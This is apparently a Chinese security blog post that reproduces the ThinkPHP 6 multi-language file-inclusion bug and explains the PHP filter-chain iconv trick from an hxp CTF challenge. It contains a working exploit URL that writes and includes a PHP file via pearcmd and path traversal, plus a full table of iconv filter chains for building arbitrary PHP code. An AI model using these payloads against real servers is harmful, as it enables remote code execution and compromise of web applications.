ZAC安全
#2022#
////前言
最近出来的TP多语言洞还是挺火热的,分析了之后发现实际利用难度较大,但是为啥我又写了这篇文章炒冷饭呢,很大一部分是因为实在是没啥可写的再拖更下去就拖到明年了,第二虽然大家都叫这个洞RCE但实际上本质是一个LFI,造成RCE需要一些额外的配置,而说到LFI有一个一直想写的trick但不知道怎么写出来,于是就着本次机会写一篇文章
以下是正文
使用docker安装
复现过程
/public/index.php?+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
返回如下值表示写入成功
使用文件包含
/public/index.php?lang=../../../../../../../../tmp/hello
简单分析一下可以发现,我们需要开启多语言功能
具体原理在作者的这篇文章中
https://tttang.com/archive/1865/
我们只需要知道开始的时候传参,然后过一遍流程后到handle函数中,在51行会添加一个.php,而前面拼接的路径我们可以使用../绕过
最后的漏洞点在TPvendortopthinkframeworksrcthinkLang.php文件当中的parse函数,在145行有一个swich判断了类型和后缀,如果是php文件的话就包含该文件,而我们知道在传参的过程中会强制添加.php,所以到最后包含到该文件
最后的include不难看出这是一个LFI,而之所以说是RCE要看p牛的这篇文章:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
因为p牛已经写的很完善了,这里就简单总结一下,就是我们可以通过web去访问pear的命令行功能,也可以控制参数,用他本身的功能去写入一个文件然后我们再进行包含
OK,上面的已经介绍的差不多了,目前大部分人也已经知道了,但我今天想写什么呢?2021年的hxp CTF有一道题 “includer’s revenge”,原题链接如下
https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/
'action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php'); ($_GET[
作者解题脚本如下
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
国内解析文章如下
链接:https://tttang.com/archive/1395/
从标题我们就可以看出来这是一个关于文件包含的CTF题,而解题思路也很巧妙,利用的是php伪协议和编码,php中有一个伪协议很常见也很好用就是filter,语法如下
php://filter/过滤器|过滤器/resource=待过滤的数据流
这个过滤器我们也可以理解为使用XX编码,我们先复现一下然后再来解释原理
复现过程很简单,生成一个文件(漏洞文件)
include $_GET['zac'];
然后打入poc就可以发现,我们神奇的RCE了
单纯一个include即可RCE的话,大部分人应该想到的都是开启了 allow_url_fopen(一直默认开启) 和 allow_url_include(php5.2之后默认关闭),然后poc应该是?zac=php://input,抓包发post数据写马,但实际上的环境并没有开启allow_url_include
那我们现在就来解析一下原理,我们都知道base64的合法字符除了26个英文字母和数字,只有+ =和/三个符号,然后每四个字符为一组,不满四个字符用0填充,对于伪协议的编码可以参考p牛写的文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
而在这个demo当中,我们使用base64独特的特性以及iconv编码的多样性,可以让任意文件编码成我们需要的php代码格式,然后再进行include包含达到RCE的目的
然后通过zedd师傅分析,我们可以发现某些编码会让被编码字符前生成一些字符,用案例中最典型的convert.iconv.UTF8.CSISO2022KR来示例
这里插一句,因为之前的理解有问题,我一直以为编码会让整个文件编码,也就是文件会在编码后源文件不见了然后换一个文件可能又是另一种了,比如windows下
UTF-16.UTF-7生成了一大堆字符
然后换成了system.ini还是一些这样的
所以一直卡壳,但是实际上的编码是这样的
我们以案例中最简单的C来举例
在进行一次编码后我们可以看到在robots.txt数据前生成了一个
$)C
在进行两次编码后生成了两个字符
这样我们就知道了最基础的原理,也就是编码后会在开头生成一个特定的字符,并且源文件不会丢失,那么如何去除这个$)呢?很简单,利用base64不支持其他符号的特性
先decode然后encode回来
convert.base64-decode|convert.base64-encode
我们可以看到这样就只有C了
再传一遍就是两个单纯的C
通过不断的编码字符,然后一步步拼凑成我们需要的一句话格式
最后使用include包含这个文件,不管后面的文件是什么,我们都可以执行我们想要的任意代码
这个操作其实在今年10月份就已经在星球里写了
https://t.zsxq.com/09UnqB2ID
之前的文之所以不发公众号的原因也很简单,当时我理解的不够透,其次我想找到windows下同样的方式,可惜失败了,因为windows如上文所示,几乎没有一个编码可以单纯的编出一个字符,会生成一大堆垃圾字符并且清理不掉,其次大部分的编码也都不支持,所以失败的东西也没有什么必要发出来,而现在因为热门洞正好是文件包含且这个trick我也一直想写出来,于是就顺带着一起发了,顺便说一句,花活还是你们CTF多
最后是一些个人的踩坑点和后记
1 TP环境搭建
刚开始我想像之前一样直接composer拉下来的,但是一直拉的是最新版复现不了,问了一位大哥才知道现在tp的composer好像只能拉最新版了,如果是我操作有问题辛苦师傅们加我微信指点一下
2 关于后面的trick为什么不直接用TP复现
我其实测试了一下,直接包含index.php文件的,因为毕竟漏洞的前提是必须要.php文件才能包含,那最容易想到的就是直接包含tp的index.php,但是试了好几次都没包含成功,不过单纯包含.php文件是可以的,如下
但是直接包含index.php文件就不行了,就直接空白,不知道什么情况
把中文删掉也依旧不行
然后写完这篇文章忽然想起来tp的包含前面是需要../进行bypass的,所以这个trick好像用不了...但是写都写完了就直接发了吧
3 本地的测试环境
Php版本
7.4
虚拟机系统版本
24:20 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux :
Iconv 版本(如果不支持iconv编码的话就用不了这个trick)
iconv (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
4 原作者脚本已经可以支持大部分需要的poc了,不过为了方便这里把全字符的编码贴出来
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2',
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入!
原文始发于微信公众号(ZAC安全):TP6多语言漏洞+拓展
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论